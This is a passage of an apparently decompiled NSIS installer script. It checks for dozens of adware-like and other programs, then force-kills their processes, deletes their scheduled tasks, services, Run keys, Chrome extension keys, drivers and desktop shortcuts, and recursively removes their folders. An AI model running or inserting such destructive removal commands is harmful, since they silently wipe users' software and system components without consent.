/tn $\"svshost$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"svshost$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $LOCALAPPDATA\svshost label_3420: IfFileExists $LOCALAPPDATA\InterplayIntelligent 0 label_3422 RMDir /r /REBOOTOK $LOCALAPPDATA\InterplayIntelligent label_3422: IfFileExists $LOCALAPPDATA\DigitalisFossilize 0 label_3424 RMDir /r /REBOOTOK $LOCALAPPDATA\DigitalisFossilize label_3424: IfFileExists $LOCALAPPDATA\MasterpiecesSlitting 0 label_3426 RMDir /r /REBOOTOK $LOCALAPPDATA\MasterpiecesSlitting label_3426: IfFileExists $LOCALAPPDATA\YaNews 0 label_3439 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run YaNews nsExec::Exec "cmd /k taskkill /IM stub.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM stub.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM launcher.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM launcher.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $LOCALAPPDATA\YaNews label_3439: IfFileExists "$DESKTOP\Star Conflict.lnk" 0 label_3441 Delete "$DESKTOP\Star Conflict.lnk" label_3441: IfFileExists $LOCALAPPDATA\JoysUncleaned 0 label_3443 RMDir /r /REBOOTOK $LOCALAPPDATA\JoysUncleaned label_3443: IfFileExists $LOCALAPPDATA\PegboardUpwelling 0 label_3445 RMDir /r /REBOOTOK $LOCALAPPDATA\PegboardUpwelling label_3445: IfFileExists $PROGRAMFILES\HpDef 0 label_3448 DeleteRegKey HKLM SYSTEM\ControlSet001\services\HSystem RMDir /r /REBOOTOK $PROGRAMFILES\HpDef label_3448: IfFileExists $APPDATA\OpLinks 0 label_3450 RMDir /r /REBOOTOK $APPDATA\OpLinks label_3450: IfFileExists $LOCALAPPDATA\HasheeshesDiadic 0 label_3452 RMDir /r /REBOOTOK $LOCALAPPDATA\HasheeshesDiadic label_3452: IfFileExists $LOCALAPPDATA\PreachierOffhanded 0 label_3454 RMDir /r /REBOOTOK $LOCALAPPDATA\PreachierOffhanded label_3454: IfFileExists $DESKTOP\Panzar.lnk 0 label_3456 Delete $DESKTOP\Panzar.lnk label_3456: IfFileExists "$DESKTOP\Point Blank.lnk" 0 label_3458 Delete "$DESKTOP\Point Blank.lnk" label_3458: IfFileExists $APPDATA\PriceFountainUpdateVer 0 label_3470 nsExec::Exec "cmd /k taskkill /IM UpdateTask.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM UpdateTask.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"PriceFountainUpdateVer$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"PriceFountainUpdateVer$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $APPDATA\PriceFountainUpdateVer label_3470: IfFileExists $APPDATA\YSearcher 0 label_3477 nsExec::Exec "cmd /k taskkill /IM YSearcher.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM YSearcher.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $APPDATA\YSearcher label_3477: IfFileExists $LOCALAPPDATA\CalibrationWorthless 0 label_3479 RMDir /r /REBOOTOK $LOCALAPPDATA\CalibrationWorthless label_3479: IfFileExists $LOCALAPPDATA\ArchaizeDrupe 0 label_3481 RMDir /r /REBOOTOK $LOCALAPPDATA\ArchaizeDrupe label_3481: IfFileExists $APPDATA\TextEditor\Daemon 0 label_3490 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run TextEditor nsExec::Exec "cmd /k taskkill /IM TextEditor.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM TextEditor.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $APPDATA\TextEditor Delete $DESKTOP\TextEditor.lnk label_3490: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\bhjcgomkanpkpblokebecknhahgkcmoo $0 IfErrors label_3494 DeleteRegKey HKLM Software\Google\Chrome\Extensions\bhjcgomkanpkpblokebecknhahgkcmoo label_3494: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\ablpcikjmhamjanpibkccdmpoekjigja $0 IfErrors label_3498 DeleteRegKey HKLM Software\Google\Chrome\Extensions\ablpcikjmhamjanpibkccdmpoekjigja label_3498: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\gbjeiekahklbgbfccohipinhgaadijad $0 IfErrors label_3502 DeleteRegKey HKLM Software\Google\Chrome\Extensions\gbjeiekahklbgbfccohipinhgaadijad label_3502: IfFileExists "$APPDATA\User Pinned\TaskBar\Booking.lnk" 0 label_3504 Delete /REBOOTOK "$APPDATA\User Pinned\TaskBar\Booking.lnk" label_3504: IfFileExists "$APPDATA\Booking .lnk" 0 label_3506 Delete /REBOOTOK "$APPDATA\Booking .lnk" label_3506: IfFileExists $DESKTOP\Booking.URL 0 label_3508 Delete $DESKTOP\Booking.URL label_3508: IfFileExists $LOCALAPPDATA\ContradictivePrudes 0 label_3510 RMDir /r /REBOOTOK $LOCALAPPDATA\ContradictivePrudes label_3510: IfFileExists $LOCALAPPDATA\GobbledegookReconfigure 0 label_3512 RMDir /r /REBOOTOK $LOCALAPPDATA\GobbledegookReconfigure label_3512: IfFileExists $PROGRAMFILES64\ContentProtector 0 label_3526 nsExec::Exec "cmd /k taskkill /IM ContentProtector.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ContentProtector.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM ContentProtectorUpdate.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ContentProtectorUpdate.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\ContentProtector DeleteRegKey HKLM SYSTEM\ControlSet001\services\ContentProtectorUpdate RMDir /r /REBOOTOK $PROGRAMFILES64\ContentProtector label_3526: IfFileExists $PROGRAMFILES64\WajaNetEn 0 label_3529 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\WajaNetEn Monitor" RMDir /r /REBOOTOK $PROGRAMFILES64\WajaNetEn label_3529: IfFileExists $PROGRAMFILES\HDefsoft 0 label_3532 DeleteRegKey HKLM SYSTEM\ControlSet001\services\HSystem RMDir /r /REBOOTOK $PROGRAMFILES\HDefsoft label_3532: IfFileExists $LOCALAPPDATA\ImaginersGlares 0 label_3534 RMDir /r /REBOOTOK $LOCALAPPDATA\ImaginersGlares label_3534: IfFileExists $PROGRAMFILES\ContentProtector 0 label_3548 nsExec::Exec "cmd /k taskkill /IM ContentProtector.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ContentProtector.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM ContentProtectorUpdate.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ContentProtectorUpdate.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\ContentProtector DeleteRegKey HKLM SYSTEM\ControlSet001\services\ContentProtectorUpdate RMDir /r /REBOOTOK $PROGRAMFILES\ContentProtector label_3548: System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\ContentProtectorDrv.sys 0 label_3556 DeleteRegKey HKLM SYSTEM\ControlSet001\services\ContentProtectorDrv Delete /REBOOTOK $SYSDIR\drivers\ContentProtectorDrv.sys label_3556: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\ContentProtectorDrv.sys 0 label_3564 DeleteRegKey HKLM SYSTEM\ControlSet001\services\ContentProtectorDrv Delete /REBOOTOK $SYSDIR\drivers\ContentProtectorDrv.sys label_3564: IfFileExists $LOCALAPPDATA\IntroversionForerunners 0 label_3566 RMDir /r /REBOOTOK $LOCALAPPDATA\IntroversionForerunners label_3566: IfFileExists $LOCALAPPDATA\SaveYouTime 0 label_3579 nsExec::Exec "cmd /k taskkill /IM launcher.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM launcher.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM stub.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM stub.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run SaveYouTime RMDir /r /REBOOTOK $LOCALAPPDATA\SaveYouTime label_3579: IfFileExists $PROGRAMFILES\WajaNetEn 0 label_3582 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\WajaNetEn Monitor" RMDir /r /REBOOTOK $PROGRAMFILES\WajaNetEn label_3582: IfFileExists $PROGRAMFILES\AdBlocker 0 label_3590 nsExec::Exec "cmd /k taskkill /IM Service.WinServiceHost.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Service.WinServiceHost.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\AdBlockerService RMDir /r /REBOOTOK $PROGRAMFILES\AdBlocker label_3590: IfFileExists $LOCALAPPDATA\LobotomizeOverrank 0 label_3592 RMDir /r /REBOOTOK $LOCALAPPDATA\LobotomizeOverrank label_3592: IfFileExists $LOCALAPPDATA\DemotionDactylus 0 label_3594 RMDir /r /REBOOTOK $LOCALAPPDATA\DemotionDactylus label_3594: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\necfmkplpminfjagblfabggomdpaakan $0 IfErrors label_3598 DeleteRegKey HKLM Software\Google\Chrome\Extensions\necfmkplpminfjagblfabggomdpaakan label_3598: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\gdljkkmghdkckhaogaemgbgdfophkfco $0 IfErrors label_3602 DeleteRegKey HKLM Software\Google\Chrome\Extensions\gdljkkmghdkckhaogaemgbgdfophkfco label_3602: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\fdjdjkkjoiomafnihnobkinnfjnnlhdg $0 IfErrors label_3606 DeleteRegKey HKLM Software\Google\Chrome\Extensions\fdjdjkkjoiomafnihnobkinnfjnnlhdg label_3606: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\dkekdlkmdpipihonapoleopfekmapadh $0 IfErrors label_3610 DeleteRegKey HKLM Software\Google\Chrome\Extensions\dkekdlkmdpipihonapoleopfekmapadh label_3610: IfFileExists "$APPDATA\User Pinned\TaskBar\Aliexpress.lnk" 0 label_3612 Delete /REBOOTOK "$APPDATA\User Pinned\TaskBar\Aliexpress.lnk" label_3612: IfFileExists "$APPDATA\Aliexpress .lnk" 0 label_3614 Delete /REBOOTOK "$APPDATA\Aliexpress .lnk" label_3614: IfFileExists $LOCALAPPDATA\DwellsSeismometric 0 label_3616 RMDir /r /REBOOTOK $LOCALAPPDATA\DwellsSeismometric label_3616: IfFileExists $LOCALAPPDATA\TangentiallyMowers 0 label_3618 RMDir /r /REBOOTOK $LOCALAPPDATA\TangentiallyMowers label_3618: IfFileExists $DESKTOP\Aliexpress.URL 0 label_3620 Delete $DESKTOP\Aliexpress.URL label_3620: IfFileExists $LOCALAPPDATA\CrutchBubbled 0 label_3622 RMDir /r /REBOOTOK $LOCALAPPDATA\CrutchBubbled label_3622: IfFileExists $APPDATA\istartpageing 0 label_3624 RMDir /r /REBOOTOK $APPDATA\istartpageing label_3624: IfFileExists $APPDATA\yoursearching 0 label_3626 RMDir /r /REBOOTOK $APPDATA\yoursearching label_3626: IfFileExists "$DESKTOP\War Thunder.lnk" 0 label_3628 Delete "$DESKTOP\War Thunder.lnk" label_3628: IfFileExists "$DESKTOP\Forge of Empires.lnk" 0 label_3630 Delete "$DESKTOP\Forge of Empires.lnk" label_3630: IfFileExists $LOCALAPPDATA\ProfitSaver 0 label_3643 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run ProfitSaver nsExec::Exec "cmd /k taskkill /IM stub.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM stub.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM launcher.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM launcher.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $LOCALAPPDATA\ProfitSaver label_3643: IfFileExists $PROGRAMFILES\UCBrowser 0 label_3667 DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run sun11 nsExec::Exec "cmd /k taskkill /IM update_task.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM update_task.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM UCAgent.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM UCAgent.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM UCBrowser.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM UCBrowser.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"UCBrowserUpdater$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"UCBrowserUpdater$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack DeleteRegKey HKLM SYSTEM\ControlSet001\services\UCBrowserSvc RMDir /r /REBOOTOK $PROGRAMFILES\UCBrowser label_3667: IfFileExists "$PROGRAMFILES\DNS Unlocker\dnscarmichaels.exe" 0 label_3684 nsExec::Exec "cmd /k taskkill /IM dnscarmichaels.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM dnscarmichaels.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"DNSCARMICHAELS$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"DNSCARMICHAELS$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"DNS Monitoring$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"DNS Monitoring$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK "$PROGRAMFILES\DNS Unlocker" label_3684: IfFileExists $APPDATA\mysites123 0 label_3686 RMDir /r /REBOOTOK $APPDATA\mysites123 label_3686: IfFileExists "$PROGRAMFILES64\Content Defender" 0 label_3694 nsExec::Exec "cmd /k taskkill /IM cd.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM cd.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\cd RMDir /r /REBOOTOK "$PROGRAMFILES64\Content Defender" label_3694: IfFileExists $LOCALAPPDATA\ZetaGamesViewer 0 label_3702 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run ZetaGamesViewer nsExec::Exec "cmd /k taskkill /IM zetaviewer.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM zetaviewer.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $LOCALAPPDATA\ZetaGamesViewer label_3702: IfFileExists $DESKTOP\ZetaGames.lnk 0 label_3704 Delete $DESKTOP\ZetaGames.lnk label_3704: IfFileExists $DESKTOP\Calculator.lnk 0 label_3706 Delete $DESKTOP\Calculator.lnk label_3706: IfFileExists $PROGRAMFILES\Defsoft 0 label_3709 DeleteRegKey HKLM SYSTEM\ControlSet001\services\HSystem RMDir /r /REBOOTOK $PROGRAMFILES\Defsoft label_3709: IfFileExists $LOCALAPPDATA\Blacount 0 label_3717 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Blacount nsExec::Exec "cmd /k taskkill /IM stub.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM stub.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $LOCALAPPDATA\Blacount label_3717: ClearErrors ReadRegStr $2 HKLM SYSTEM\ControlSet001\services\NewTabService ImagePath IfErrors label_3728 IfFileExists $2 0 label_3728 nsExec::Exec "cmd /k taskkill /IM NewTab.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM NewTab.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\NewTabService Delete /REBOOTOK $2 label_3728: IfFileExists $PROGRAMFILES\WordAnchor* 0 label_3763 StrCpy $0 0 label_3730: EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0 StrCmp $1 "" label_3763 IntOp $0 $0 + 1 ClearErrors Push $1 Push WordAnchor Call :label_405 Pop $R3 IfErrors label_3730 IfFileExists $PROGRAMFILES\$1 0 label_3741 RMDir /r /REBOOTOK $PROGRAMFILES\$1 label_3741: ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion DeleteRegKey HKLM SYSTEM\ControlSet001\services\wafd_$2 DeleteRegKey HKLM SYSTEM\ControlSet001\services\wasvc_$2 Push $2 Push . Push _ Call func_179 Pop $3 System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\wafd_$3.sys 0 label_3756 Delete /REBOOTOK $SYSDIR\drivers\wafd_$3.sys label_3756: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\wafd_$3.sys 0 label_3763 Delete /REBOOTOK $SYSDIR\drivers\wafd_$3.sys label_3763: ClearErrors ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Service Mgr SaleClipper" ImagePath IfErrors label_3777 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_3777 RMDir /r /REBOOTOK $2 label_3777: ClearErrors ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Update Mgr SaleClipper" ImagePath IfErrors label_3791 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_3791 RMDir /r /REBOOTOK $2 label_3791: ClearErrors ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Service Mgr OnStage" ImagePath IfErrors label_3805 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_3805 RMDir /r /REBOOTOK $2 label_3805: ClearErrors ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Update Mgr OnStage" ImagePath IfErrors label_3819 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_3819 RMDir /r /REBOOTOK $2 label_3819: IfFileExists $PROGRAMFILES\WordSurfer* 0 label_3854 StrCpy $0 0 label_3821: EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0 StrCmp $1 "" label_3854 IntOp $0 $0 + 1 ClearErrors Push $1 Push WordSurfer Call :label_405 Pop $R3 IfErrors label_3821 IfFileExists $PROGRAMFILES\$1 0 label_3832 RMDir /r /REBOOTOK $PROGRAMFILES\$1 label_3832: ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion DeleteRegKey HKLM SYSTEM\ControlSet001\services\wsasvc_$2 DeleteRegKey HKLM SYSTEM\ControlSet001\services\wsafd_$2 Push $2 Push . Push _ Call func_179 Pop $3 System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\wsafd_$3.sys 0 label_3847 Delete /REBOOTOK $SYSDIR\drivers\wsafd_$3.sys label_3847: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\wsafd_$3.sys 0 label_3854 Delete /REBOOTOK $SYSDIR\drivers\wsafd_$3.sys label_3854: System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\wsfd_vw_1_10_0_20.sys 0 label_3861 Delete /REBOOTOK $SYSDIR\drivers\wsfd_vw_1_10_0_20.sys label_3861: IfFileExists $SYSDIR\drivers\wsfd_vt_1_10_0_20.sys 0 label_3863 Delete /REBOOTOK $SYSDIR\drivers\wsfd_vt_1_10_0_20.sys label_3863: IfFileExists $SYSDIR\drivers\wfd_vw_1_10_0_20.sys 0 label_3865 Delete /REBOOTOK $SYSDIR\drivers\wfd_vw_1_10_0_20.sys label_3865: IfFileExists $SYSDIR\drivers\wfd_vt_1_10_0_20.sys 0 label_3867 Delete /REBOOTOK $SYSDIR\drivers\wfd_vt_1_10_0_20.sys label_3867: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\wsfd_vw_1_10_0_20.sys 0 label_3874 Delete /REBOOTOK $SYSDIR\drivers\wsfd_vw_1_10_0_20.sys label_3874: IfFileExists $SYSDIR\drivers\wsfd_vt_1_10_0_20.sys 0 label_3876 Delete /REBOOTOK $SYSDIR\drivers\wsfd_vt_1_10_0_20.sys label_3876: IfFileExists $SYSDIR\drivers\wfd_vw_1_10_0_20.sys 0 label_3878 Delete /REBOOTOK $SYSDIR\drivers\wfd_vw_1_10_0_20.sys label_3878: IfFileExists $SYSDIR\drivers\wfd_vt_1_10_0_20.sys 0 label_3880 Delete /REBOOTOK $SYSDIR\drivers\wfd_vt_1_10_0_20.sys label_3880: IfFileExists $PROGRAMFILES\MaxDrivrUpdater* 0 label_3888 StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\MaxDrivrUpdater* label_3883: StrCmp $R1 "" label_3887 RMDir /r /REBOOTOK $PROGRAMFILES\$R1 FindNext $0 $R1 Goto label_3883 label_3887: FindClose $0 label_3888: IfFileExists $PROGRAMFILES\CleverSearch* 0 label_3923 StrCpy $0 0 label_3890: EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0 StrCmp $1 "" label_3923 IntOp $0 $0 + 1 ClearErrors Push $1 Push CleverSearch Call :label_405 Pop $R3 IfErrors label_3890 IfFileExists $PROGRAMFILES\$1 0 label_3901 RMDir /r /REBOOTOK $PROGRAMFILES\$1 label_3901: ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion DeleteRegKey HKLM SYSTEM\ControlSet001\services\cssvc_$2 DeleteRegKey HKLM SYSTEM\ControlSet001\services\csfd_vt_$2 Push $2 Push . Push _ Call func_179 Pop $3 System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\csfd_vt_$3.sys 0 label_3916 Delete /REBOOTOK $SYSDIR\drivers\csfd_vt_$3.sys label_3916: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\csfd_vt_$3.sys 0 label_3923 Delete /REBOOTOK $SYSDIR\drivers\csfd_vt_$3.sys label_3923: IfFileExists "$PROGRAMFILES\HelloSign for Gmail" 0 label_3930 nsExec::Exec "cmd /k taskkill /IM $\"HelloSign for Gmail.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"HelloSign for Gmail.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\HelloSign for Gmail" label_3930: IfFileExists $PROGRAMFILES\EngineRunner 0 label_3932 RMDir /r /REBOOTOK $PROGRAMFILES\EngineRunner label_3932: IfFileExists "$PROGRAMFILES\iCloud Bookmarks" 0 label_3939 nsExec::Exec "cmd /k taskkill /IM $\"iCloud Bookmarks.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"iCloud Bookmarks.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\iCloud Bookmarks" label_3939: IfFileExists "$PROGRAMFILES\ExtensionSimple Blocker" 0 label_3946 nsExec::Exec "cmd /k taskkill /IM $\"ExtensionSimple Blocker.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"ExtensionSimple Blocker.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\ExtensionSimple Blocker" label_3946: IfFileExists "$PROGRAMFILES\Poper Blocker" 0 label_3953 nsExec::Exec "cmd /k taskkill /IM $\"Poper Blocker.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"Poper Blocker.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Poper Blocker" label_3953: IfFileExists 